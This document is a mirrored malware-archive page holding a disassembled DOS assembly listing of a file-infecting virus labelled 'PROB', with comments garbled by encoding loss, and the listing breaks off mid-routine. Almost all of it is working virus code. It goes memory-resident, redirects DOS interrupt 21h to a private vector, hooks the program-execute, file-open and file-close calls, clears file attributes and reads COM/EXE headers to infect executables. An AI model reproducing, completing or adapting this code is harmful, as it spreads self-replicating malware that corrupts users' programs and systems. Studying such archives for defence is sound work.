mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
529 lines
22 KiB
NASM
529 lines
22 KiB
NASM
|
|
|||
|
PAGE 59,132
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> PROB <20><>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> Created: 1-Jan-80 <20><>
|
|||
|
;<3B><> Version: <20><>
|
|||
|
;<3B><> Passes: 5 Analysis Options on: ABCDEFPX <20><>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><> <20><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
data_1e equ 0 ; (6B7E:0000=0)
|
|||
|
data_2e equ 2 ; (6B7E:0002=0)
|
|||
|
data_4e equ 0F1h ; (6B7E:00F1=0)
|
|||
|
data_17e equ 499h ; (6C11:0499=0)
|
|||
|
data_18e equ 49Bh ; (6C11:049B=0)
|
|||
|
data_19e equ 49Dh ; (6C11:049D=0)
|
|||
|
data_20e equ 49Fh ; (6C11:049F=0)
|
|||
|
data_21e equ 4B8h ; (6C11:04B8=0)
|
|||
|
|
|||
|
;-------------------------------------------------------------- seg_a ----
|
|||
|
|
|||
|
seg_a segment para public
|
|||
|
assume cs:seg_a , ds:seg_a , ss:stack_seg_c
|
|||
|
|
|||
|
db 256 dup (0)
|
|||
|
db 8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
|
|||
|
db 1, 0B4h, 9, 0CDh, 21h, 0B8h
|
|||
|
db 0, 4Ch, 0CDh
|
|||
|
db '!This is a test', 0Ah, 0Dh, '$'
|
|||
|
db 1807 dup (0)
|
|||
|
|
|||
|
seg_a ends
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;-------------------------------------------------------------- seg_b ----
|
|||
|
|
|||
|
seg_b segment para public
|
|||
|
assume cs:seg_b , ds:seg_b , ss:stack_seg_c
|
|||
|
|
|||
|
db 241 dup (0)
|
|||
|
db 4Fh, 4Dh
|
|||
|
db 9 dup (20h)
|
|||
|
db 0, 0, 0, 0
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; Program Entry Point
|
|||
|
;
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
|
|||
|
prob proc far
|
|||
|
|
|||
|
start:
|
|||
|
jmp short loc_3 ; (0137)
|
|||
|
data_10 dw 5A4Dh
|
|||
|
db 21h, 1, 6, 0, 0, 0
|
|||
|
db 20h, 0, 0, 0, 0FFh, 0FFh
|
|||
|
data_11 dw 0
|
|||
|
data_12 dw 0
|
|||
|
db 0BBh, 0DDh
|
|||
|
data_13 dd 00100h
|
|||
|
db 'COMMAND.COM'
|
|||
|
db 0
|
|||
|
|
|||
|
prob endp
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_1 proc near ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> EXE
|
|||
|
cmp cs:data_10,4D5Ah ; (6C11:0102=5A4Dh)
|
|||
|
je loc_ret_2 ; Jump if equal
|
|||
|
cmp cs:data_10,5A4Dh ; (6C11:0102=5A4Dh)
|
|||
|
|
|||
|
loc_ret_2:
|
|||
|
retn
|
|||
|
sub_1 endp
|
|||
|
|
|||
|
loc_3:
|
|||
|
mov cs:data_19e,ds ; (6C11:049D=0)
|
|||
|
push ax
|
|||
|
mov ax,0EC59h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int 21h ; DOS Services ah=function ECh
|
|||
|
cmp bp,ax ; <20><><EFBFBD> AX<>BP <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jne loc_6
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
loc_4:
|
|||
|
pop ax
|
|||
|
mov es,cs:data_19e ; (6C11:049D=0)
|
|||
|
call sub_1 ; (COM/EXE)?
|
|||
|
jz loc_5 ; Jump if zero
|
|||
|
mov cx,0Dh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> COM
|
|||
|
mov si,102h
|
|||
|
push es
|
|||
|
mov di,100h
|
|||
|
push di ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 13 <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
push es
|
|||
|
pop ds ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
retf ; Return far
|
|||
|
loc_5:
|
|||
|
mov si,es ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> EXE
|
|||
|
add si,10h
|
|||
|
add word ptr cs:data_13+2,si; <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> CS
|
|||
|
add si,cs:data_11 ; <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> SS
|
|||
|
mov di,cs:data_12 ; <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> SP
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
cli ; Disable interrupts
|
|||
|
mov ss,si
|
|||
|
mov sp,di
|
|||
|
sti ; Enable interrupts
|
|||
|
jmp cs:data_13 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
loc_6:
|
|||
|
mov ax,3521h
|
|||
|
int 21h ; DOS Services ah=function 35h
|
|||
|
; get intrpt vector al in es:bx
|
|||
|
mov dx,bx
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov ax,25ECh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 21H <20><> INT ECH
|
|||
|
int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
mov ax,cs:data_19e ; (6C11:049D=0)
|
|||
|
mov es,ax
|
|||
|
dec ax
|
|||
|
mov ds,ax
|
|||
|
mov bx,word ptr ds:data_2e+1 ; (6B7E:0003=0)
|
|||
|
sub bx,65h
|
|||
|
add ax,bx
|
|||
|
mov es:data_2e,ax ; (6B7E:0002=0)
|
|||
|
mov ah,4Ah ; 'J'
|
|||
|
int 0ECh
|
|||
|
mov bx,64h
|
|||
|
mov ah,48h ; 'H'
|
|||
|
int 0ECh
|
|||
|
sub ax,10h
|
|||
|
mov es,ax
|
|||
|
mov byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov si,100h
|
|||
|
mov di,si
|
|||
|
mov cx,39Fh
|
|||
|
nop ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|||
|
mov di,1D0h
|
|||
|
push es
|
|||
|
push di
|
|||
|
retf ; Return far
|
|||
|
mov word ptr es:data_4e,70h ; (6B7E:00F1=0)
|
|||
|
mov ax,3521h ;(??) <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int 0ECh
|
|||
|
mov cs:data_15,bx ; (6C11:0216=12E4h)
|
|||
|
mov cs:data_16,es ; (6C11:0218=12Eh)
|
|||
|
mov ah,25h ; '%'
|
|||
|
mov dx,201h
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
int 0ECh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 21H
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,49Fh
|
|||
|
mov cx,19h
|
|||
|
mov al,0 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 19h <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
rep stosb ; Rep when cx >0 Store al to es:[di]
|
|||
|
jmp loc_4 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
loc_7:
|
|||
|
mov bp,ax ; <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ECH
|
|||
|
iret ; Interrupt return
|
|||
|
cmp ax,0EC59h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> INT 21H
|
|||
|
je loc_7 ; Jump if equal
|
|||
|
cmp ax,4B00h
|
|||
|
je loc_9 ; Jump if equal
|
|||
|
cmp ah,3Dh ; '='
|
|||
|
je loc_11 ; Jump if equal
|
|||
|
cmp ah,3Eh ; '>'
|
|||
|
je loc_13 ; Jump if equal
|
|||
|
loc_8:
|
|||
|
jmp far ptr loc_1 ;*(012E:12E4)
|
|||
|
loc_9:
|
|||
|
call sub_2 ; (028B)
|
|||
|
jmp short loc_8 ; (0215)
|
|||
|
loc_10:
|
|||
|
pop cx
|
|||
|
jmp short loc_8 ; (0215)
|
|||
|
loc_11:
|
|||
|
push cx
|
|||
|
call sub_6 ; (040E)
|
|||
|
jc loc_10 ; Jump if carry Set
|
|||
|
cmp cx,20h
|
|||
|
pop cx
|
|||
|
jnz loc_8 ; Jump if not zero
|
|||
|
mov al,2
|
|||
|
pushf ; Push flags
|
|||
|
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
|
|||
|
jc loc_ret_12 ; Jump if carry Set
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
mov bx,ax
|
|||
|
mov al,cs:data_21e ; (6C11:04B8=0)
|
|||
|
mov cs:data_20e[bx],al ; (6C11:049F=0)
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
loc_ret_12:
|
|||
|
retf 2 ; Return far
|
|||
|
loc_13:
|
|||
|
cmp byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
|
|||
|
je loc_8 ; Jump if equal
|
|||
|
push ax
|
|||
|
mov al,cs:data_20e[bx] ; (6C11:049F=0)
|
|||
|
mov cs:data_21e,al ; (6C11:04B8=0)
|
|||
|
mov byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
|
|||
|
mov ah,45h ; 'E'
|
|||
|
int 0ECh
|
|||
|
mov cs:data_19e,ax ; (6C11:049D=0)
|
|||
|
pop ax
|
|||
|
jc loc_8 ; Jump if carry Set
|
|||
|
pushf ; Push flags
|
|||
|
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
|
|||
|
jc loc_ret_12 ; Jump if carry Set
|
|||
|
push bx
|
|||
|
mov bx,cs:data_19e ; (6C11:049D=0)
|
|||
|
push ds
|
|||
|
call sub_3 ; (02BB)
|
|||
|
call sub_4 ; (02DC)
|
|||
|
call sub_5 ; (03FA)
|
|||
|
pop ds
|
|||
|
pop bx
|
|||
|
clc ; Clear carry flag
|
|||
|
retf 2 ; Return far
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_2 proc near
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
call sub_6 ; (040E)
|
|||
|
jc loc_16 ; <20><><EFBFBD> <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push cx
|
|||
|
push ds
|
|||
|
call sub_3 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 24H
|
|||
|
pop ds
|
|||
|
mov ax,4301h
|
|||
|
xor cx,cx ; Zero register
|
|||
|
int 0ECh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jc loc_14 ; Jump if carry Set
|
|||
|
mov ax,3D02h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int 0ECh
|
|||
|
mov bx,ax
|
|||
|
loc_14:
|
|||
|
pop cx
|
|||
|
jc loc_15 ; <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
call sub_4 ; (02DC)
|
|||
|
mov ax,4301h
|
|||
|
int 0ECh
|
|||
|
loc_15:
|
|||
|
call sub_5 ; (03FA)
|
|||
|
loc_16:
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
sub_2 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_3 proc near ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 24H
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
push bx
|
|||
|
push es
|
|||
|
mov ax,3524h
|
|||
|
int 0ECh
|
|||
|
mov cs:data_17e,bx ; (6C11:0499=0)
|
|||
|
mov cs:data_18e,es ; (6C11:049B=0)
|
|||
|
pop es
|
|||
|
pop bx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,469h
|
|||
|
mov ah,25h
|
|||
|
int 0ECh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 24H
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
retn
|
|||
|
sub_3 endp
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub_4 proc near
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push ds
|
|||
|
mov di,102h
|
|||
|
mov cx,0FFFFh
|
|||
|
mov dx,0FFFAh
|
|||
|
mov ax,4202h
|
|||
|
int 0ECh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>
|
|||
|
mov ah,3Fh ; '?'
|
|||
|
mov cx,6
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,di
|
|||
|
int 0ECh ; <20><><EFBFBD><EFBFBD> 6 <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jc loc_17 ; Jump if carry Set
|
|||
|
cmp word ptr cs:[di],4E41h ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
je loc_17 ; Jump if equal
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
mov ax,4200h
|
|||
|
int 0ECh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> FP <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ah,3Fh ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 18h <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov cx,18h ; <20><> CS:100
|
|||
|
mov dx,di
|
|||
|
